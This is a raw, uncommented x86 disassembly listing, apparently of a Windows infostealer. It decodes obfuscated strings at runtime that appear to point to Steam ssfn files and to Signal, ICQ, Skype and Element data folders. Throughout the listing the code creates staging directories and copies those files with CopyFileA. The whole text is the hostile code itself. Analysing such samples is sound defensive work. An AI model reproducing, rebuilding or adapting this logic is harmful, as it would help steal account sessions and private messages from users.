movups xmmword [ebp - 0x324], xmm0
movq xmm0, qword [ebp - 0x620]
movq qword [ebp - 0x314], xmm0
mov dword [ebp - 0x620], 0
mov dword [ebp - 0x61c], 0xf
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x630]
call fcn.00402890
cmp dword [ebp - 0x310], 0x10
lea ecx, [ebp - 0x324]
cmovae ecx, dword [ebp - 0x324]
call fcn.0040b940
test al, al
je 0x43f9c3
push 1
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x324]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x4a
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x7a8]
mov dl, byte [ebp - 0xd]
call fcn.00421b60
add esp, 0x1c
mov byte [ebp - 4], 0x4b
mov eax, dword [ebp - 0x7a8]
mov ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x2c], eax
cmp eax, ecx
je 0x43f800
mov byte [ebp - 0x34], 0
mov edi, ecx
mov byte [ebp - 0x2a8], 0
push eax
lea ecx, [ebp - 0xbcc]
call fcn.0045fe50
mov byte [ebp - 4], 0x4c
lea edx, [ebp - 0xbcc]
push dword [ebp - 0x34]
lea ecx, [ebp - 0xbb4]
call fcn.0046aff0
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xbb4]
cmp dword [ebp - 0xba0], 8
mov eax, dword [ebp - 0xba4]
cmovae ecx, dword [ebp - 0xbb4]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00404d20
push dword [ebp - 0x2a8]
sub esi, eax
mov dword [ebp - 0x24], eax
sar esi, 1
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0xd64]
mov dword [ebp - 0x20], esi
call fcn.0046ad50
add esp, 8
mov byte [ebp - 4], 0x4f
lea eax, [ebp - 0x648]
or dword [ebp - 0x14], 0x10000
lea ecx, [ebp - 0xd64]
push eax
call fcn.00405000
mov byte [ebp - 4], 0x51
and dword [ebp - 0x14], 0xfffeffff
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xd64]
call fcn.00461fd0
mov dword [ebp - 0x54], 0xb1b9acac
xor ecx, ecx
mov byte [ebp - 0x50], 0
movzx eax, byte [ebp + ecx - 0x54]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x54], al
inc ecx
cmp ecx, 4
jb 0x43f5d2
lea edx, [ebp - 0x54]
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x43f5f0
sub edx, ecx
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x634], 0x10
lea ecx, [ebp - 0x648]
push edx
cmovae ecx, dword [ebp - 0x648]
mov edx, dword [ebp - 0x638]
push eax
push 0
call fcn.00465860
add esp, 0xc
cmp eax, 0xffffffff
je 0x43f7b9
push 0xffffffffffffff83
mov byte [ebp - 0x3e], 0
call fcn.00461130
mov byte [ebp - 0x3f], al
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x3f]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f643
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x48c]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x488], 0x10
lea eax, [ebp - 0x49c]
push ecx
cmovae eax, dword [ebp - 0x49c]
lea ecx, [ebp - 0x3f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xd7c]
call fcn.004680d0
or dword [ebp - 0x1c], 2
mov byte [ebp - 4], 0x55
lea eax, [ebp - 0x648]
cmp dword [ebp - 0x634], 0x10
lea ecx, [ebp - 0xd7c]
push dword [ebp - 0x638]
cmovae eax, dword [ebp - 0x648]
push eax
call fcn.004623f0
mov dword [ebp - 0x3cc], 0
lea ecx, [ebp - 0x3dc]
mov dword [ebp - 0x3c8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3dc], xmm0
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3dc], xmm0
movq xmm0, qword [eax + 0x10]
or dword [ebp - 0x14], 0x40000000
movq qword [ebp - 0x3cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xbcc]
cmp dword [ebp - 0x3c8], 0x10
cmovae ecx, dword [ebp - 0x3dc]
cmp dword [ebp - 0xbb8], 0x10
push ecx
cmovae eax, dword [ebp - 0xbcc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x14], 0xbfffffff
mov esi, eax
mov byte [ebp - 4], 0x54
mov ecx, dword [ebp - 0x3c8]
cmp ecx, 0x10
jb 0x43f77f
mov edx, dword [ebp - 0x3dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f775
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
and dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x3cc], 0
mov dword [ebp - 0x3c8], 0xf
mov byte [ebp - 0x3dc], 0
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xd7c]
call fcn.00402890
test esi, esi
je 0x43f7b9
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x648]
call fcn.00402890
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0xbb4]
call fcn.00461fd0
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xbcc]
call fcn.00402890
mov eax, dword [ebp - 0x2c]
add eax, 0x18
mov dword [ebp - 0x2c], eax
cmp eax, edi
jne 0x43f521
mov edi, dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0xe5], 0xb1b0bc83
xor ecx, ecx
mov dword [ebp - 0xe1], 0xb8b6b9
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xe5]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xe5], al
inc ecx
cmp ecx, 7
jb 0x43f820
lea eax, [ebp - 0xe5]
push eax
lea edx, [ebp - 0x324]
lea ecx, [ebp - 0xbe4]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0xbe4]
cmp dword [ebp - 0xbd0], 0x10
cmovae ecx, dword [ebp - 0xbe4]
call fcn.0040b940
test al, al
je 0x43f8e6
mov dword [ebp - 0xed], 0xb1b0bc83
xor ecx, ecx
mov dword [ebp - 0xe9], 0xb8b6b9
movzx eax, byte [ebp + ecx - 0xed]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xed], al
inc ecx
cmp ecx, 7
jb 0x43f891
lea eax, [ebp - 0xed]
push eax
lea edx, [ebp - 0x49c]
lea ecx, [ebp - 0xddc]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x58
or edi, 1
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x43f8d9
mov eax, dword [eax]
push 0
push eax
call esi
mov byte [ebp - 0x15], 1
test eax, eax
jne 0x43f8ea
mov byte [ebp - 0x15], 0
mov dword [ebp - 4], 0x57
mov eax, dword [ebp - 0x14]
test al, 1
je 0x43f909
and eax, 0xfffffffe
lea ecx, [ebp - 0xddc]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0x15], 0
je 0x43f99c
mov byte [ebp - 0xd], 0
xor ecx, ecx
mov dword [ebp - 0xf5], 0xb1b0bc83
mov dword [ebp - 0xf1], 0xb8b6b9
nop dword [eax]
movzx eax, byte [ebp + ecx - 0xf5]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xf5], al
inc ecx
cmp ecx, 7
jb 0x43f930
sub esp, 0x18
lea eax, [ebp - 0xf5]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x49c]
push eax
call fcn.00464140
mov byte [ebp - 4], 0x59
sub esp, 0x14
lea eax, [ebp - 0xbe4]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x5a
mov byte [ebp - 4], 0x57
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x43f99c
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xbe4]
call fcn.00402890
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x7a8]
call fcn.00461d40
cmp byte [ebp - 0xe], 0
mov edi, dword [ebp - 0x14]
jne 0x43f9d2
push ecx
lea ecx, [ebp - 0x49c]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x324]
call fcn.00402890
cmp byte [ebp - 0x38], 0
jne 0x43f9f6
push ecx
lea ecx, [ebp - 0x3f4]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x49c]
call fcn.00402890
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x660]
call fcn.00402890
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x678]
call fcn.00402890
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x690]
call fcn.00402890
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x6a8]
call fcn.00402890
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x2c4]
call fcn.00402890
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x6c0]
call fcn.00402890
and edi, 0xefffffff
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f4]
call fcn.00402890
cmp byte [ebp - 0xf], 0
je 0x441638
mov dword [ebp - 0x179], 0xacba9283
xor ecx, ecx
mov dword [ebp - 0x175], 0xb8b1baac
mov dword [ebp - 0x171], 0xacadba
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x179]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x179], al
inc ecx
cmp ecx, 0xb
jb 0x43fab0
mov dword [ebp - 4], 0x5b
lea ecx, [ebp - 0x179]
mov edx, dword [0x539b9c]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fae1
mov eax, closesocket
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [0x539ba0], 0x10
mov eax, 0x539b8c
push ecx
cmovae eax, dword [0x539b8c]
lea ecx, [ebp - 0x179]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x4b4]
call fcn.004680d0
or edi, 0x1000
lea eax, [ebp - 0x4b4]
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x4a0], 0x10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmovae eax, dword [ebp - 0x4b4]
push 0
push eax
call esi
test eax, eax
je 0x44161d
mov byte [ebp - 0x15], 0
xor ecx, ecx
mov dword [ebp - 0xa9], 0xa6b48c83
mov word [ebp - 0xa5], 0xbaaf
mov byte [ebp - 0xa3], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xa9]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xa9], al
inc ecx
cmp ecx, 6
jb 0x43fb80
lea eax, [ebp - 0xa9]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x944]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x5c
lea eax, [ebp - 0x944]
cmp dword [ebp - 0x930], 0x10
push 0
cmovae eax, dword [ebp - 0x944]
push eax
call esi
test eax, eax
je 0x43fdbf
movaps xmm0, xmmword [0x527af0]
xor ecx, ecx
movups xmmword [ebp - 0x71b], xmm0
mov dword [ebp - 0x6fb], 0x8cffb3be
movaps xmm0, xmmword [0x527c60]
movups xmmword [ebp - 0x70b], xmm0
mov dword [ebp - 0x6f7], 0xbeadb0ab
mov word [ebp - 0x6f3], 0xbab8
mov byte [ebp - 0x6f1], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x71b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x71b], al
inc ecx
cmp ecx, 0x2a
jb 0x43fc20
xorps xmm0, xmm0
mov dword [ebp - 0x6c8], 0
lea ecx, [ebp - 0x71b]
mov dword [ebp - 0x6c4], 0
movups xmmword [ebp - 0x6d8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fc62
sub ecx, edx
lea eax, [ebp - 0x71b]
push ecx
push eax
lea ecx, [ebp - 0x6d8]
call fcn.00402aa0
mov byte [ebp - 4], 0x5d
xor ecx, ecx
mov dword [ebp - 0xfd], 0x9b8f8f9e
mov dword [ebp - 0xf9], 0x9e8b9e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xfd]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xfd], al
inc ecx
cmp ecx, 7
jb 0x43fca0
lea eax, [ebp - 0xfd]
push eax
call fcn.004dff73
lea ecx, [ebp - 0x6d8]
mov edx, eax
push ecx
lea ecx, [ebp - 0xbfc]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x5f
mov ecx, dword [ebp - 0x6c4]
cmp ecx, 0x10
jb 0x43fd1c
mov edx, dword [ebp - 0x6d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43fd12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0xbe8], 0x10
lea ecx, [ebp - 0xbfc]
mov dword [ebp - 0x6c8], 0
cmovae ecx, dword [ebp - 0xbfc]
mov dword [ebp - 0x6c4], 0xf
mov byte [ebp - 0x6d8], 0
call fcn.0040b940
test al, al
je 0x43fda1
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x944]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x60
sub esp, 0x18
lea eax, [ebp - 0xbfc]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x61
mov byte [ebp - 4], 0x5f
mov cl, byte [ebp - 0xf]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x43fda1
mov byte [ebp - 0x15], 1
jmp 0x43fdb0
push ecx
lea ecx, [ebp - 0x944]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0xbfc]
call fcn.00402890
mov dword [ebp - 0x161], 0xbab39a83
xor ecx, ecx
mov dword [ebp - 0x15d], 0xabb1bab2
mov byte [ebp - 0x159], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x161]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x161], al
inc ecx
cmp ecx, 8
jb 0x43fde0
lea eax, [ebp - 0x161]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x92c]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0x92c]
cmp dword [ebp - 0x918], 0x10
push 0
cmovae eax, dword [ebp - 0x92c]
push eax
call esi
test eax, eax
je 0x43ffc5
movaps xmm0, xmmword [0x527130]
xor ecx, ecx
movups xmmword [ebp - 0x482], xmm0
mov dword [ebp - 0x472], 0xbeadb0ab
mov word [ebp - 0x46e], 0xbab8
mov byte [ebp - 0x46c], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x482]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x482], al
inc ecx
cmp ecx, 0x16
jb 0x43fe70
xorps xmm0, xmm0
mov dword [ebp - 0x9cc], 0
lea ecx, [ebp - 0x482]
mov dword [ebp - 0x9c8], 0
movups xmmword [ebp - 0x9dc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43feb2
sub ecx, edx
lea eax, [ebp - 0x482]
push ecx
push eax
lea ecx, [ebp - 0x9dc]
call fcn.00402aa0
mov byte [ebp - 4], 0x63
xor ecx, ecx
mov dword [ebp - 0x105], 0x9b8f8f9e
mov dword [ebp - 0x101], 0x9e8b9e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x105]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x105], al
inc ecx
cmp ecx, 7
jb 0x43fef0
lea eax, [ebp - 0x105]
push eax
call fcn.004dff73
lea ecx, [ebp - 0x9dc]
mov edx, eax
push ecx
lea ecx, [ebp - 0x9f4]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x9dc]
call fcn.00402890
cmp dword [ebp - 0x9e0], 0x10
lea ecx, [ebp - 0x9f4]
cmovae ecx, dword [ebp - 0x9f4]
call fcn.0040b940
test al, al
je 0x43ffa7
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x92c]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x66
sub esp, 0x18
lea eax, [ebp - 0x9f4]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x67
mov byte [ebp - 4], 0x65
mov cl, byte [ebp - 0xf]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x43ffa7
mov byte [ebp - 0x15], 1
jmp 0x43ffb6
push ecx
lea ecx, [ebp - 0x92c]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x9f4]
call fcn.00402890
mov dword [ebp - 0x68], 0x8e9c9683
xor ecx, ecx
mov byte [ebp - 0x64], 0
movzx eax, byte [ebp + ecx - 0x68]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 4
jb 0x43ffd2
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x914]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x914]
cmp dword [ebp - 0x900], 0x10
push 0
cmovae eax, dword [ebp - 0x914]
push eax
call esi
test eax, eax
je 0x4401a5
mov dword [ebp - 0xbd], 0x8e9c9683
xor ecx, ecx
mov dword [ebp - 0xb9], 0xefefef83
mov word [ebp - 0xb5], 0xee
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xbd]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xbd], al
inc ecx
cmp ecx, 9
jb 0x440050
xorps xmm0, xmm0
mov dword [ebp - 0x9fc], 0
lea ecx, [ebp - 0xbd]
mov dword [ebp - 0x9f8], 0
movups xmmword [ebp - 0xa0c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440092
sub ecx, edx
lea eax, [ebp - 0xbd]
push ecx
push eax
lea ecx, [ebp - 0xa0c]
call fcn.00402aa0
mov byte [ebp - 4], 0x69
xor ecx, ecx
mov dword [ebp - 0x10d], 0x9b8f8f9e
mov dword [ebp - 0x109], 0x9e8b9e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x10d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x10d], al
inc ecx
cmp ecx, 7
jb 0x4400d0
lea eax, [ebp - 0x10d]
push eax
call fcn.004dff73
lea ecx, [ebp - 0xa0c]
mov edx, eax
push ecx
lea ecx, [ebp - 0xa24]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0xa0c]
call fcn.00402890
cmp dword [ebp - 0xa10], 0x10
lea ecx, [ebp - 0xa24]
cmovae ecx, dword [ebp - 0xa24]
call fcn.0040b940
test al, al
je 0x440187
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x914]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x6c
sub esp, 0x18
lea eax, [ebp - 0xa24]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x6d
mov byte [ebp - 4], 0x6b
mov cl, byte [ebp - 0xf]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x440187
mov byte [ebp - 0x15], 1
jmp 0x440196
push ecx
lea ecx, [ebp - 0x914]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0xa24]
call fcn.00402890
mov dword [ebp - 0x115], 0xb8b68c83
xor ecx, ecx
mov dword [ebp - 0x111], 0xb3beb1
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x115]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x115], al
inc ecx
cmp ecx, 7
jb 0x4401c0
lea eax, [ebp - 0x115]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x2f4]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0x2f4]
cmp dword [ebp - 0x2e0], 0x10
push 0
cmovae eax, dword [ebp - 0x2f4]
push eax
call esi
test eax, eax
je 0x440c37
mov byte [ebp - 0xe], 0
xor ecx, ecx
mov dword [ebp - 0x92], 0xb8b68c83
mov dword [ebp - 0x8e], 0xb3beb1
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x92]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x92], al
inc ecx
cmp ecx, 7
jb 0x440240
xorps xmm0, xmm0
mov dword [ebp - 0xa2c], 0
lea ecx, [ebp - 0x92]
mov dword [ebp - 0xa28], 0
movups xmmword [ebp - 0xa3c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440282
sub ecx, edx
lea eax, [ebp - 0x92]
push ecx
push eax
lea ecx, [ebp - 0xa3c]
call fcn.00402aa0
mov byte [ebp - 4], 0x6f
xor ecx, ecx
mov dword [ebp - 0x11d], 0x9b8f8f9e
mov dword [ebp - 0x119], 0x9e8b9e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x11d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x11d], al
inc ecx
cmp ecx, 7
jb 0x4402c0
lea eax, [ebp - 0x11d]
push eax
call fcn.004dff73
lea ecx, [ebp - 0xa3c]
mov edx, eax
push ecx
lea ecx, [ebp - 0x5d0]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xa3c]
call fcn.00402890
cmp dword [ebp - 0x5bc], 0x10
lea ecx, [ebp - 0x5d0]
cmovae ecx, dword [ebp - 0x5d0]
call fcn.0040b940
test al, al
je 0x440c13
mov dword [ebp - 0x284], 0xbcb09383
xor ecx, ecx
mov dword [ebp - 0x280], 0x8cffb3be
mov dword [ebp - 0x27c], 0xbeadb0ab
mov word [ebp - 0x278], 0xbab8
mov byte [ebp - 0x276], 0
nop
movzx eax, byte [ebp + ecx - 0x284]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x284], al
inc ecx
cmp ecx, 0xe
jb 0x440360
lea eax, [ebp - 0x284]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0xa9c]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0xa9c]
cmp dword [ebp - 0xa88], 0x10
cmovae ecx, dword [ebp - 0xa9c]
call fcn.0040b940
test al, al
je 0x440445
mov dword [ebp - 0x293], 0xbcb09383
xor ecx, ecx
mov dword [ebp - 0x28f], 0x8cffb3be
mov dword [ebp - 0x28b], 0xbeadb0ab
mov word [ebp - 0x287], 0xbab8
mov byte [ebp - 0x285], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x293]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x293], al
inc ecx
cmp ecx, 0xe
jb 0x4403f0
lea eax, [ebp - 0x293]
push eax
lea edx, [ebp - 0x2f4]
lea ecx, [ebp - 0xdf4]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x73
or edi, 2
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x440438
mov eax, dword [eax]
push 0
push eax
call esi
mov byte [ebp - 0xd], 1
test eax, eax
jne 0x440449
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0x72
mov eax, dword [ebp - 0x14]
test al, 2
je 0x440468
and eax, 0xfffffffd
lea ecx, [ebp - 0xdf4]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x44051c
mov byte [ebp - 0xf], 0
xor ecx, ecx
mov dword [ebp - 0x2a2], 0xbcb09383
mov dword [ebp - 0x29e], 0x8cffb3be
mov dword [ebp - 0x29a], 0xbeadb0ab
mov word [ebp - 0x296], 0xbab8
mov byte [ebp - 0x294], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x2a2]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x2a2], al
inc ecx
cmp ecx, 0xe
jb 0x4404b0
sub esp, 0x18
lea eax, [ebp - 0x2a2]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x2f4]
push eax
call fcn.00464140
mov byte [ebp - 4], 0x74
sub esp, 0x14
lea eax, [ebp - 0xa9c]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x75
mov byte [ebp - 4], 0x72
mov cl, byte [ebp - 0xf]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x44051c
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
movaps xmm0, xmmword [0x527b70]
xor ecx, ecx
movups xmmword [ebp - 0x8cb], xmm0
mov byte [ebp - 0x8bb], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x8cb]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x8cb], al
inc ecx
cmp ecx, 0x10
jb 0x440540
lea eax, [ebp - 0x8cb]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0xa84]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xa84]
cmp dword [ebp - 0xa70], 0x10
cmovae ecx, dword [ebp - 0xa84]
call fcn.0040b940
test al, al
je 0x440608
movaps xmm0, xmmword [0x527b70]
xor ecx, ecx
movups xmmword [ebp - 0x8ba], xmm0
mov byte [ebp - 0x8aa], 0
nop
movzx eax, byte [ebp + ecx - 0x8ba]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x8ba], al
inc ecx
cmp ecx, 0x10
jb 0x4405b0
lea eax, [ebp - 0x8ba]
push eax
lea edx, [ebp - 0x2f4]
lea ecx, [ebp - 0xe0c]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x77
mov edi, dword [ebp - 0x14]
or edi, 4
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x4405fb
mov eax, dword [eax]
push 0
push eax
call esi
mov byte [ebp - 0xd], 1
test eax, eax
jne 0x44060c
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0x76
mov eax, dword [ebp - 0x14]
test al, 4
je 0x44062b
and eax, 0xfffffffb
lea ecx, [ebp - 0xe0c]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x4406bc
movaps xmm0, xmmword [0x527b70]
xor ecx, ecx
mov byte [ebp - 0xf], 0
movups xmmword [ebp - 0x8a9], xmm0
mov byte [ebp - 0x899], 0
movzx eax, byte [ebp + ecx - 0x8a9]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x8a9], al
inc ecx
cmp ecx, 0x10
jb 0x440650
sub esp, 0x18
lea eax, [ebp - 0x8a9]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x2f4]
push eax
call fcn.00464140
mov byte [ebp - 4], 0x78
sub esp, 0x14
lea eax, [ebp - 0xa84]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x79
mov byte [ebp - 4], 0x76
mov cl, byte [ebp - 0xf]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x4406bc
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
mov dword [ebp - 0x6d], 0xb3aeac83
xor ecx, ecx
mov byte [ebp - 0x69], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x6d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x6d], al
inc ecx
cmp ecx, 4
jb 0x4406d0
lea eax, [ebp - 0x6d]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0xa6c]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0xa6c]
cmp dword [ebp - 0xa58], 0x10
cmovae ecx, dword [ebp - 0xa6c]
call fcn.0040b940
test al, al
je 0x44077f
mov dword [ebp - 0x72], 0xb3aeac83
xor ecx, ecx
mov byte [ebp - 0x6e], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x72]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x72], al
inc ecx
cmp ecx, 4
jb 0x440730
lea eax, [ebp - 0x72]
push eax
lea edx, [ebp - 0x2f4]
lea ecx, [ebp - 0xe24]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x7b
mov edi, dword [ebp - 0x14]
or edi, 8
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x440772
mov eax, dword [eax]
push 0
push eax
call esi
